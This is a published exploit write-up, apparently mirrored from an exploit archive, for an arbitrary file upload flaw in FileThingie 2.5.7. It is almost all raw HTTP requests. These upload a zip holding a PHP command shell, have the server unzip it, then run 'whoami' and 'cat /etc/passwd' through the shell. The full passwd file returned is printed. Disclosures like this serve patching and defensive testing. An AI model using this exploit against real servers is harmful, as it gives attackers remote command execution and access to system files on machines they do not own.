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## https://sploitus.com/exploit?id=PACKETSTORM:154339
# Exploit Title: FileThingie 2.5.7 - Arbitrary File Upload  
# Author: Cakes  
# Discovery Date: 2019-09-03  
# Vendor Homepage: www.solitude.dk/filethingie  
# Software Link: https://github.com/leefish/filethingie/archive/master.zip  
# Tested Version: 2.5.7  
# Tested on OS: CentOS 7  
# CVE: N/A  
  
# Intro:  
# Easy arbitrary file upload vulnerability allows an attacker to upload malicious .zip archives  
  
::::: POST .zip file with cmd shell  
  
POST /filethingy/ft2.php HTTP/1.1  
Host: 10.0.0.21  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://10.0.0.21/filethingy/ft2.php?dir=/tester  
Content-Type: multipart/form-data; boundary=---------------------------3402520321248020588131184034  
Content-Length: 1117  
Cookie: issabelSession=67ne0anmf52drmijjf1s1ju380; PHPSESSIDnERPteam=tl1e1m4eieonpgflqa1colhqs2; nERP_installation=60kne7l4f54fico5ud4tona073; 100021corebos=ktk7mnr6pspnet6n2ij582e1v7; ci_cookie=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22175c2b30943f07368eef92a9dcdd2ecb%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A9%3A%2210.0.0.17%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A68%3A%22Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A60.0%29+Gecko%2F20100101+Firefox%2F60.0%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1567451164%3B%7D9ff869bbb4f3d937de5d566b82eaf01a; PHPSESSID=jl9jcj3vfqf53ujcj332gncpe7  
Connection: close  
Upgrade-Insecure-Requests: 1  
DNT: 1  
  
-----------------------------3402520321248020588131184034  
Content-Disposition: form-data; name="localfile-1567531192592"; filename=""  
Content-Type: application/octet-stream  
  
  
-----------------------------3402520321248020588131184034  
Content-Disposition: form-data; name="MAX_FILE_SIZE"  
  
2000000  
-----------------------------3402520321248020588131184034  
Content-Disposition: form-data; name="localfile"; filename="cmdshell.zip"  
Content-Type: application/zip  
  
PK š#O $ cmdshell.phpUT  
۟n]۟n]۟n]ux ³±/È(P(ÃŽHÃɉOÂHMÖP‰ww  
‰VOÃŽMQÂÕ´VP°·ã PKý(tÃ…& $ PK š#Oý(tÃ…& $ ¤ cmdshell.phpUT  
۟n]۟n]۟n]ux PK Z €   
-----------------------------3402520321248020588131184034  
Content-Disposition: form-data; name="act"  
  
upload  
-----------------------------3402520321248020588131184034  
Content-Disposition: form-data; name="dir"  
  
/tester  
-----------------------------3402520321248020588131184034  
Content-Disposition: form-data; name="submit"  
  
Upload  
-----------------------------3402520321248020588131184034--  
  
  
  
  
  
:::::::::::::::::::::::::::::Unzip Malicious file  
  
POST /filethingy/ft2.php HTTP/1.1  
Host: 10.0.0.21  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://10.0.0.21/filethingy/ft2.php?dir=/tester  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 63  
Cookie: issabelSession=67ne0anmf52drmijjf1s1ju380; PHPSESSIDnERPteam=tl1e1m4eieonpgflqa1colhqs2; nERP_installation=60kne7l4f54fico5ud4tona073; 100021corebos=ktk7mnr6pspnet6n2ij582e1v7; ci_cookie=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22175c2b30943f07368eef92a9dcdd2ecb%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A9%3A%2210.0.0.17%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A68%3A%22Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A60.0%29+Gecko%2F20100101+Firefox%2F60.0%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1567451164%3B%7D9ff869bbb4f3d937de5d566b82eaf01a; PHPSESSID=jl9jcj3vfqf53ujcj332gncpe7  
Connection: close  
Upgrade-Insecure-Requests: 1  
DNT: 1  
  
newvalue=cmdshell.zip&file=cmdshell.zip&dir=%2Ftester&act=unzip  
  
  
  
::::::::::::::::::::::::::::::Access your shell  
  
GET /filethingy/folders/tester/cmdshell.php?cmd=whoami HTTP/1.1  
Host: 10.0.0.21  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: issabelSession=67ne0anmf52drmijjf1s1ju380; PHPSESSIDnERPteam=tl1e1m4eieonpgflqa1colhqs2; nERP_installation=60kne7l4f54fico5ud4tona073; 100021corebos=ktk7mnr6pspnet6n2ij582e1v7; ci_cookie=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22175c2b30943f07368eef92a9dcdd2ecb%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A9%3A%2210.0.0.17%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A68%3A%22Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A60.0%29+Gecko%2F20100101+Firefox%2F60.0%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1567451164%3B%7D9ff869bbb4f3d937de5d566b82eaf01a; PHPSESSID=jl9jcj3vfqf53ujcj332gncpe7  
Connection: close  
Upgrade-Insecure-Requests: 1  
DNT: 1  
Cache-Control: max-age=0  
  
  
::::::::::::::::::::::::::::::Read /etc/passwd  
  
GET /filethingy/folders/tester/cmdshell.php?cmd=cat%20/etc/passwd HTTP/1.1  
Host: 10.0.0.21  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: issabelSession=67ne0anmf52drmijjf1s1ju380; PHPSESSIDnERPteam=tl1e1m4eieonpgflqa1colhqs2; nERP_installation=60kne7l4f54fico5ud4tona073; 100021corebos=ktk7mnr6pspnet6n2ij582e1v7; ci_cookie=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22175c2b30943f07368eef92a9dcdd2ecb%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A9%3A%2210.0.0.17%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A68%3A%22Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A60.0%29+Gecko%2F20100101+Firefox%2F60.0%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1567451164%3B%7D9ff869bbb4f3d937de5d566b82eaf01a; PHPSESSID=jl9jcj3vfqf53ujcj332gncpe7  
Connection: close  
Upgrade-Insecure-Requests: 1  
DNT: 1  
  
HTTP/1.1 200 OK  
Date: Tue, 03 Sep 2019 17:38:04 GMT  
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16  
X-Powered-By: PHP/5.4.16  
Content-Length: 1738  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
root:x:0:0:root:/root:/bin/bash  
bin:x:1:1:bin:/bin:/sbin/nologin  
daemon:x:2:2:daemon:/sbin:/sbin/nologin  
adm:x:3:4:adm:/var/adm:/sbin/nologin  
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin  
sync:x:5:0:sync:/sbin:/bin/sync  
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown  
halt:x:7:0:halt:/sbin:/sbin/halt  
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin  
operator:x:11:0:operator:/root:/sbin/nologin  
games:x:12:100:games:/usr/games:/sbin/nologin  
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin  
nobody:x:99:99:Nobody:/:/sbin/nologin  
misdn:x:31:31:Modular ISDN:/:/sbin/nologin  
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin  
dbus:x:81:81:System message bus:/:/sbin/nologin  
postfix:x:89:89::/var/spool/postfix:/sbin/nologin  
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin  
polkitd:x:999:998:User for polkitd:/:/sbin/nologin  
cyrus:x:76:12:Cyrus IMAP Server:/var/lib/imap:/sbin/nologin  
mailman:x:41:41:GNU Mailing List Manager:/usr/lib/mailman:/sbin/nologin  
saslauth:x:998:76:Saslauthd user:/run/saslauthd:/sbin/nologin  
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin  
ntp:x:38:38::/etc/ntp:/sbin/nologin  
uucp:x:10:14:Uucp user:/var/spool/uucp:/sbin/nologin  
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin  
dhcpd:x:177:177:DHCP server:/:/sbin/nologin  
asterisk:x:997:994:Asterisk PBX:/var/lib/asterisk:/bin/bash  
spamfilter:x:1000:1000::/home/spamfilter:/bin/bash  
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin  
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin  
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin  
chrony:x:996:993::/var/lib/chrony:/sbin/nologin  
cakes:x:1001:1001:cakes:/home/cakes:/bin/bash